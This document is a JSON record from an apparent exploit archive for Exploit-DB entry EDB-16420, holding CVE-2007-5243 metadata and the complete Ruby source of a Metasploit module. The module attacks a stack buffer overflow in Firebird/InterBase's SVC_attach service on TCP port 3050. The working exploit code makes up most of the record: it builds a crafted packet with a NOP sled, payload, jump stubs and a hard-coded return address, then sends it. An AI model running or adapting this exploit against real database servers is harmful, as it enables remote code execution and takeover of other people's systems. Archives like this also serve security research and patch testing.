{"exploit":{"id":"EDB-16420","name":"Firebird Relational Database - 'SVC_attach()' Remote Buffer Overflow (Metasploit)","description":"Firebird Relational Database - 'SVC_attach()' Remote Buffer Overflow (Metasploit)","cves":["CVE-2007-5243"],"author":"Metasploit","published":"2010-07-03","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16420","path":"exploits/windows/remote/16420.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16420.rb","vulnerabilities":[{"id":"CVE-2007-5243","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple stack-based buffer overflows in Borland InterBase LI 8.0.0.53 through 8.1.0.253, and WI 5.1.1.680 through 8.1.0.257, allow remote attackers to execute arbitrary code via (1) a long service attach request on TCP port 3050 to the (a) SVC_attach or (b) INET_connect function, (2) a long create request on TCP port 3050 to the (c) isc_create_database or (d) jrd8_create_database function, (3) a long attach request on TCP port 3050 to the (e) isc_attach_database or (f) PWD_db_aliased function, or unspecified vectors involving the (4) jrd8_attach_database or (5) expand_filename2 function.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-5243","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-5243"},"updatedAt":"2024-08-07T15:24:42.138Z","retrievedAt":"2026-11-27T08:11:46.980Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16420.png?v=2","url":"https://exploitbin.com/exploits/EDB-16420","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16420/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16420/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: fb_svc_attach.rb 9669 2010-07-03 03:13:45Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = AverageRanking\n\n\tinclude Msf::Exploit::Remote::Tcp\n\tinclude Msf::Exploit::Remote::BruteTargets\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'\t\t=> 'Firebird Relational Database SVC_attach() Buffer Overflow',\n\t\t\t'Description'\t=> %q{\n\t\t\t\tThis module exploits a stack buffer overflow in Borland InterBase\n\t\t\t\tby sending a specially crafted service attach request.\n\t\t\t},\n\t\t\t'Version'\t=> '$Revision: 9669 $',\n\t\t\t'Author'\t=>\n\t\t\t\t[\n\t\t\t\t\t'ramon',\n\t\t\t\t\t'Adriano Lima <adriano@risesecurity.org>',\n\t\t\t\t],\n\t\t\t'Arch'\t\t=> ARCH_X86,\n\t\t\t'Platform'\t=> 'win',\n\t\t\t'References'\t=>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2007-5243' ],\n\t\t\t\t\t[ 'OSVDB', '38605' ],\n\t\t\t\t\t[ 'BID', '25917' ],\n\t\t\t\t\t[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],\n\t\t\t\t],\n\t\t\t'Privileged'\t=> true,\n\t\t\t'License'\t=> MSF_LICENSE,\n\t\t\t'Payload'\t=>\n\t\t\t\t{\n\t\t\t\t\t'Space' => 256,\n\t\t\t\t\t'BadChars' => \"\\x00\\x2f\\x3a\\x40\\x5c\",\n\t\t\t\t\t'StackAdjustment' => -3500,\n\t\t\t\t},\n\t\t\t'Targets'\t=>\n\t\t\t\t[\n\t\t\t\t\t[ 'Brute Force', { } ],\n\t\t\t\t\t# 0x0040230b pop ebp; pop ebx; ret\n\t\t\t\t\t[\n\t\t\t\t\t\t'Firebird WI-V1.5.3.4870 WI-V1.5.4.4910',\n\t\t\t\t\t\t{ 'Length' => [ 308 ], 'Ret' => 0x0040230b }\n\t\t\t\t\t],\n\t\t\t\t\t# Debug\n\t\t\t\t\t[\n\t\t\t\t\t\t'Debug',\n\t\t\t\t\t\t{ 'Length' => [ 308 ], 'Ret' => 0xaabbccdd }\n\t\t\t\t\t],\n\t\t\t\t],\n\t\t\t'DefaultTarget'\t=> 1,\n\t\t\t'DisclosureDate'  => 'Oct 03 2007'\n\t\t))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOpt::RPORT(3050)\n\t\t\t], self.class)\n\tend\n\n\tdef exploit_target(target)\n\n\t\ttarget['Length'].each do |length|\n\n\t\t\tconnect\n\n\t\t\t# Attach database\n\t\t\top_attach = 19\n\n\t\t\t# Create database\n\t\t\top_create = 20\n\n\t\t\t# Service attach\n\t\t\top_service_attach = 82\n\n\t\t\tremainder = length.remainder(4)\n\t\t\tpadding = 0\n\n\t\t\tif remainder > 0\n\t\t\t\tpadding = (4 - remainder)\n\t\t\tend\n\n\t\t\tbuf = ''\n\n\t\t\t# Operation/packet type\n\t\t\tbuf << [op_service_attach].pack('N')\n\n\t\t\t# Id\n\t\t\tbuf << [0].pack('N')\n\n\t\t\t# Length\n\t\t\tbuf << [length].pack('N')\n\n\t\t\t# Nop block\n\t\t\tbuf << make_nops(length - payload.encoded.length - 13)\n\n\t\t\t# Payload\n\t\t\tbuf << payload.encoded\n\n\t\t\t# Jump back into the nop block\n\t\t\tbuf << \"\\xe9\" + [-260].pack('V')\n\n\t\t\t# Jump back\n\t\t\tbuf << \"\\xeb\" + [-7].pack('c')\n\n\t\t\t# Random alpha data\n\t\t\tbuf << rand_text_alpha(2)\n\n\t\t\t# Target\n\t\t\tbuf << [target.ret].pack('V')\n\n\t\t\t# Padding\n\t\t\tbuf << \"\\x00\" * padding\n\n\t\t\t# Database parameter block\n\n\t\t\t# Length\n\t\t\tbuf << [1024].pack('N')\n\n\t\t\t# Random alpha data\n\t\t\tbuf << rand_text_alpha(1024)\n\n\t\t\tsock.put(buf)\n\n\t\t\t#select(nil,nil,nil,4)\n\n\t\t\thandler\n\n\t\tend\n\n\tend\n\nend","sha256":"62860f7779f3b1b5363705e2e1012ca576abc0a4fa1c4fd21fb8256e6b484411","bytes":2807,"fetchedAt":"2026-11-27T08:11:46.734Z","encoding":"utf-8 (display only; download retains original bytes)"}